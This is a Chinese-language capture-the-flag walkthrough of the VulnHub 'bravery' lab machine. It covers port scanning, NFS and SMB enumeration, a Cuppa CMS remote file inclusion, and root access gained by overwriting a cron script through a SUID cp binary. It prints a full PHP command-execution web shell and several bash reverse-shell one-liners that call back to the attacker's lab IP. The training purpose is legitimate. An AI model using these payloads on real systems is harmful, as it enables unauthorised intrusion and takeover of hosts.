vulnhub靶场之【digitalworld.local系列】的bravery靶机
- 电脑硬件
- 2025-09-18 13:33:02

前言
靶机:digitalworld.local-bravery,IP地址为192.168.10.8
攻击:kali,IP地址为192.168.10.6
kali采用VMware虚拟机,靶机采用virtualbox虚拟机,网卡都为桥接模式
这里官方给的有两种方式,一是直接使用virtualbox加载,另一种是通过VMware挂载磁盘,也给出了iso镜像文件
文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者通过下方链接下载 download.vulnhub /digitalworld/bravery-improved.7z
或者通过网盘下载 pan.quark /s/86cf8a398835
主机发现使用arp-scan -l或netdiscover -r 192.168.10.1/24扫描
也可以使用nmap等工具进行
信息收集 使用nmap扫描端口 nmap -sV -O 192.168.10.8 -p- -T4这是全面扫描,不过尽量更详细一点,先扫描tcp端口
nmap -sT 192.168.10.8 -p- -T4 -oA nmap_tcp扫描udp的top20端口
nmap -sU 192.168.10.8 --top-ports 20 -T4这里的udp和tcp端口处于open的无差,所以,采用tcp的端口,并进行端口选择
grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','再对这些端口进行深一步的检测,比如检测服务等
ports=22,53,80,111,139,443,445,2049,3306,8080,20048,37191,49742 nmap -sV -O -sC -sT 192.168.10.8 -p $ports -oA detail再通过nmap的脚本扫描有无漏洞
nmap --script=vuln -p $ports -oA vuln根据以上收集的信息,有网站,有smb等,那么就一步一步来,大部分靶机都是从web开始,一步步推进
网站信息收集 80端口网站探测访问80端口的网站,并未有内容,应该是测试网站
查看页面源代码后,也并未有信息,使用浏览器插件wappalyzer或者whatweb测试该网站,发现具有php语言,采用apache,与前面nmap扫描收集的信息一样
那么针对该80网站进行网站目录爆破,这里采用gobuster工具,也可以使用其他工具,很多
gobuster dir -u http://192.168.10.8 -w /usr/share/wordlists/dirb/big.txt -x php,bak,txt,js,html -b 403-404这里的/0到/9都只是数字,访问README.txt,提示努力
访问/about,给出一个链接,并说这里有提示
访问uploads,这里虽然有文件夹,但是里面没有任何东西
再访问phpinfo.php,但是并不是真正的phpinfo界面,是空白
之前给出的链接中,直接访问是不存在的界面,那么进行拼接呢
http://192.168.10.8/1075692/Try-Harder 或 http://192.168.10.8/1075692 或 http://192.168.10.8/Try-Harder访问后,有一张图片,大概就是说,“还需努力啊,少年!”
既然如此,好嘛,我就转换方向,我去8080网站看看,嘿嘿嘿
8080端口网站探测访问8080端口默认界面
查看页面源代码,也并未发现隐藏信息
使用gobuster等工具进行目录爆破
gobuster dir -u http://192.168.10.8:8080 -w /usr/share/wordlists/dirb/big.txt -x php,bak,txt,js,html -b 403-404先访问robots.txt,发现与前面爆破的路径,大部分都是一样的
访问/cgi-bin和404.html都是一样的界面显示,不过这里也是得知一些信息,为nignx管理,并且配置文件的路径也给出了
访问private,是以nginx默认的403界面显示
访问public,是一个常见的网站类型
再次对这个网站进行扫描
gobuster dir -u http://192.168.10.8:8080/public -w /usr/share/wordlists/dirb/big.txt -x php,bak,txt,js,html -b 403-404发现mail.php,不过访问这个文件,是直接下载的,所以可能这个网站对于php文件并不能解析
访问qwertyuiop.html,发现是一张图片,图片中的英文就是提示
sometimes,what you seek is hiding in planin sight
下载图片,然后使用exiftool、binwalk、steghide等工具查看是否有隐写内容,测试发现并没有
到这里,对于网站探测已经over了,除非就是网站爆破时,字典的问题了
nfs探测在之前,使用nmap扫描的时候,发现rpcbind和nfs,一般这两个都是搭配使用的
那么使用nmap的脚本再进行一次探测
nmap 192.168.10.8 --script=nfs*有东西,那么进一步深入,使用showmount查看
showmount -e 192.168.10.8可以看到,目标靶机确实是有,那么尝试直接挂载到kali进行测试是否可行
mkdir share mount -t nfs 192.168.10.8:/var/nfsshare ./share但是我查看了所有文件的内容,文件里面的内容,并没有任何有价值的
直到我再次查看,发现qwertyuioplkjhgfdsazxcvbnm这个文件有意思,结合前面password.txt以及其本身的内容来看,我怀疑这是一个密码
smb探测前面也是有相关的smb服务的开启,所以,需要进一步进行探测的
使用nmap中的脚本探测
nmap 192.168.10.8 --script=smb*枚举出三个分享IPC$、anonymous、secured
枚举出anonymous分享中,有内容
枚举出两个用户david、rick
再使用enum4linux枚举一下
enum4linux 192.168.10.8 -a枚举出两个用户,与前面使用nmap一样
枚举出三个分享,也是和前面使用nmap出的结果一样
信息总结当前获取到的信息有
nfs中的一个可能疑似密码的东西smb枚举出的三个分享以及两个用户网站中并未有明显信息,目前来看,需要从smb着手密码qwertyuioplkjhgfdsazxcvbnm
分享anonymous、secured
用户david、rick
漏洞寻找根据前面的信息,尝试连接smb中的分享,可以使用smbclient或者smbmap都可以
smbclient //192.168.10.8/anonymous -N #-N 是指不使用密码登录,也就是以匿名形式登录因为readme.txt是英文,为了方便,翻译一下,表示这是一个临时的服务,这种情况在现实中确实有,不过这需要很长的潜伏
然后再次以登录身份进行测试anonymous,发现也是一样的东西
#密码 qwertyuioplkjhgfdsazxcvbnm smbclient //192.168.10.8/anonymous -U david #成功登录 smbclient //192.168.10.8/anonymous -U rick #无法成功登录那么换另一个分享secured,这里想匿名登录是失败的
#密码 qwertyuioplkjhgfdsazxcvbnm smbclient //192.168.10.8/secured -U david #成功登录 smbclient //192.168.10.8/secured -U rick #无法成功登录获取三个文件,下载到kali,然后查看内容
查看README.txt文件,这里明确提出了CMS,并且还搞出个单词goodtech
查看david.txt,提到域名,以及一个php的文件路径
查看genevieve.txt文件,这里的信息提到一个地址http://192.168.254.155/genevieve
根据上面收集的信息,构造一些网站的可能性,这里是不包括绑定域名的情况
http://192.168.10.8/devops/directortestpagev1.php http://192.168.10.8:8080/devops/directortestpagev1.php http://192.168.10.8/genevieve http://192.168.10.8:8080/genevieve先尝试一下,发现访问成功一个,看网站的样子,应该是还在搭建中
把能点的都点了,发现基本上都是页面不存在,不过发现一个功能,点击后,跳转到登录界面
可以看到是CMS
以前面获取的信息,尝试进行登录,发现不行,包括刚获取的goodtech,把所有信息进行拼接,得出的用户名和密码,都无法登录,并且测试登录框,应该不存在注入
漏洞利用那么使用searchsploit搜索,有无该CMS的漏洞cuppa
searchsploit cuppa查看文档,发现用法,并且是文件包含,这个应该是cms构建时的代码原因
测试路径,并且确定是否可用,确实可以
那么就在kali本地创建一个php文件,使得其远程包含该文件,然后导致反弹shell
这里先写一个简单的php代码,可执行system的命令
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>把这个代码写入shell.php文件,然后再kali中,使用python开启一个http服务,观察是否可行
注意,一定不要把kali中的http服务关闭,因为远程代码执行需要调用的
可以看到,我们的代码确实通过远程执行了,所以这里就直接通过传参cmd反弹shell
bash -i >& /dev/tcp/192.168.10.6/9999 0>&1 #需要进行url编码 bash%20-i%20%3e%26%20%2fdev%2ftcp%2f192.168.10.6%2f9999%200%3e%261 提权 靶机内信息收集查看网络连接
ss -antlp查看ip地址,确定当前是否处在虚拟环境,确实未处于虚拟环境
ip add查看以root的进程
ps aux | grep root查看内核版本以及系统版本
uanme -a/-r cat /etc/issue cat /etc/*release使用find寻找具有SUID权限的文件
find - perm -u=s -type f 2>/dev/null查看定时任务
cat /etc/crontab查看网站中的配置文件,发现连接数据库的用户名和密码,并且以root连接的
瞬间就让人想到udf提权,不过还是需要进一步验证
查看相关配置,可能确实可以udf提权
不过再尝试进行dumpfile时,这个是被拒绝了,还是不能udf提权
上传一些脚本检测吧,上传pspy64,执行后发现,有一个脚本每5分钟执行一次
定时任务提权已知,有脚本定时以root身份执行,并且在前面寻找SUID权限文件时,有cp命令,那么就可以创建一个反弹shell的脚本,使用cp覆盖原本的定时任务,就可以获得一个root的反弹shell
#先在kali开启监听 nc -lvnp 1234 #然后执行命令 cd /tmp #这里可以创建文件 echo "/bin/bash -i >& /dev/tcp/192.168.10.6/1234 0>&1" > 1.sh cat 1.sh #确保反弹shell命令写入 /usr/bin/cp 1.sh /var/ /maintenance.sh #开始使用具有SUID权限的cp进行覆盖 ls -l /var/ #确保只有一个文件,也就是确保覆盖 cat /var/ /maintenance.sh #再次确认,内容是否修改等待一会,即可发现,获取到root的shell,这个时间大概5分钟
总结该靶机考察几点:
对于众多信息,要一步步去筛选,不要急躁。这里的网站信息刚开始可能确实没有,所以不要急躁对于nfs这个要稍微了解,建议去ai搜索一下,这个经常配合rpcbind出现,并且,靶机内一般都是与showmount和挂载有关对于smb服务,要会枚举,这里可以借助nmap的脚本,或者enum4linux或其他工具;枚举出之后,要会找到有用的信息,这里也就是密码的关键寻找对于信息,要敏感,比如,如果是目录型网站,出现类似于目录的时候,要会拼接,这里因为出现的少,所以手工拼接即可,若是很多,要会自动化处理,也就是使用代码拼接目录,再通过工具批处理,选出可用的链接对于提权,这里在获取到的平常信息,都无法提权时,可以借助工具观察,因为不可能每时每刻观察进程的命令,这也可能不显示提权,要思路广,结合起来,这里就是想起cp命令来覆盖root执行的定时任务脚本vulnhub靶场之【digitalworld.local系列】的bravery靶机由讯客互联电脑硬件栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“vulnhub靶场之【digitalworld.local系列】的bravery靶机”